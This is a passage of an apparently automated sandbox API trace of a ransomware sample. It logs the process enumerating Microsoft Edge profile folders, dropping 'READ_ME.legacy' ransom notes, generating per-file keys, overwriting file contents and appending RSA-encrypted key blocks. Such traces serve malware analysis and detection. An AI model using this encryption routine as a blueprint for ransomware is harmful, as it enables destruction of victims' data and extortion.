nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.706] FindNextFileW (in: hFindFile=0x2f72c30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0179.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.706] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0179.706] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.706] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\container.dat", dwFileAttributes=0x80) returned 1 [0179.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0179.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618bb8 [0179.707] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Cookies\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cookies\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1abc [0179.707] GetFileSizeEx (in: hFile=0x1abc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0179.707] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3518 [0179.707] ReadFile (in: hFile=0x1abc, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.707] SetFilePointer (in: hFile=0x1abc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.707] WriteFile (in: hFile=0x1abc, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.708] SetFilePointer (in: hFile=0x1abc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.708] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.708] WriteFile (in: hFile=0x1abc, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.709] WriteFile (in: hFile=0x1abc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.709] CloseHandle (hObject=0x1abc) returned 1 [0179.710] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9889eb9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf988b242, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72d30 [0179.710] FindNextFileW (in: hFindFile=0x2f72d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf9889eb9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf988b242, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.710] FindNextFileW (in: hFindFile=0x2f72d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xf988b242, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xf988b242, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xc84ae593, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6f5d2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AllowList.dat", cAlternateFileName="ALLOWL~1.DAT")) returned 1 [0179.710] FindNextFileW (in: hFindFile=0x2f72d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.710] FindNextFileW (in: hFindFile=0x2f72d30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585418 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0179.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0179.711] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0179.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat", dwFileAttributes=0x80) returned 1 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585038 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x618460 [0179.711] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\CortanaAssist\\AllowList.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\cortanaassist\\allowlist.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac0 [0179.711] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=456146) returned 1 [0179.711] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f5d2) returned 0x347c008 [0179.713] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6f5d2) returned 0x3520048 [0179.714] ReadFile (in: hFile=0x1ac0, lpBuffer=0x347c008, nNumberOfBytesToRead=0x6f5d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347c008*, lpNumberOfBytesRead=0x2e1f9bc*=0x6f5d2, lpOverlapped=0x0) returned 1 [0179.738] SetFilePointer (in: hFile=0x1ac0, lDistanceToMove=-456146, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.738] WriteFile (in: hFile=0x1ac0, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x6f5d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6f5d2, lpOverlapped=0x0) returned 1 [0179.744] SetFilePointer (in: hFile=0x1ac0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6f5d2 [0179.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.745] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.745] WriteFile (in: hFile=0x1ac0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.746] WriteFile (in: hFile=0x1ac0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.746] CloseHandle (hObject=0x1ac0) returned 1 [0179.747] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\Extensions\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72e30 [0179.747] FindNextFileW (in: hFindFile=0x2f72e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x902a1a6b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x902a1a6b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.747] FindNextFileW (in: hFindFile=0x2f72e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.748] FindNextFileW (in: hFindFile=0x2f72e30, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x2f69998 [0179.748] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f72ef0 [0179.748] FindNextFileW (in: hFindFile=0x2f72ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf352567, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.748] FindNextFileW (in: hFindFile=0x2f72ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x12e45fcd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x12e45fcd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x12e45fcd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.748] FindNextFileW (in: hFindFile=0x2f72ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.748] FindNextFileW (in: hFindFile=0x2f72ef0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585700 [0179.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.748] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0179.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0179.748] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0179.748] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\container.dat", dwFileAttributes=0x80) returned 1 [0179.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585130 [0179.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6185d8 [0179.749] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\History\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\history\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac8 [0179.749] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0179.749] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3458 [0179.749] ReadFile (in: hFile=0x1ac8, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.749] SetFilePointer (in: hFile=0x1ac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.749] WriteFile (in: hFile=0x1ac8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.749] SetFilePointer (in: hFile=0x1ac8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0179.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0179.750] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0179.750] WriteFile (in: hFile=0x1ac8, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0179.751] WriteFile (in: hFile=0x1ac8, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0179.751] CloseHandle (hObject=0x1ac8) returned 1 [0179.752] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf3787bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f728f0 [0179.752] FindNextFileW (in: hFindFile=0x2f728f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf3787bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0179.752] FindNextFileW (in: hFindFile=0x2f728f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf48383b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xf542405, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0xf542405, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.752] FindNextFileW (in: hFindFile=0x2f728f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0179.752] FindNextFileW (in: hFindFile=0x2f728f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf50db4eb, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xf50db4eb, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xf50db4eb, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0179.752] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585700 [0179.753] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0179.753] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0179.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0179.753] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0179.753] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\container.dat", dwFileAttributes=0x80) returned 1 [0179.753] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x585510 [0179.753] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x166) returned 0x6188c8 [0179.753] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\IECompatCache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\microsoftedge\\iecompatcache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1acc [0179.754] GetFileSizeEx (in: hFile=0x1acc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0179.754] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c34c8 [0179.754] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1) returned 0x5c3448 [0179.754] ReadFile (in: hFile=0x1acc, lpBuffer=0x5c34c8, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.754] SetFilePointer (in: hFile=0x1acc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.754] WriteFile (in: hFile=0x1acc, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0179.754] SetFilePointer (in: hFile=0x1acc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: 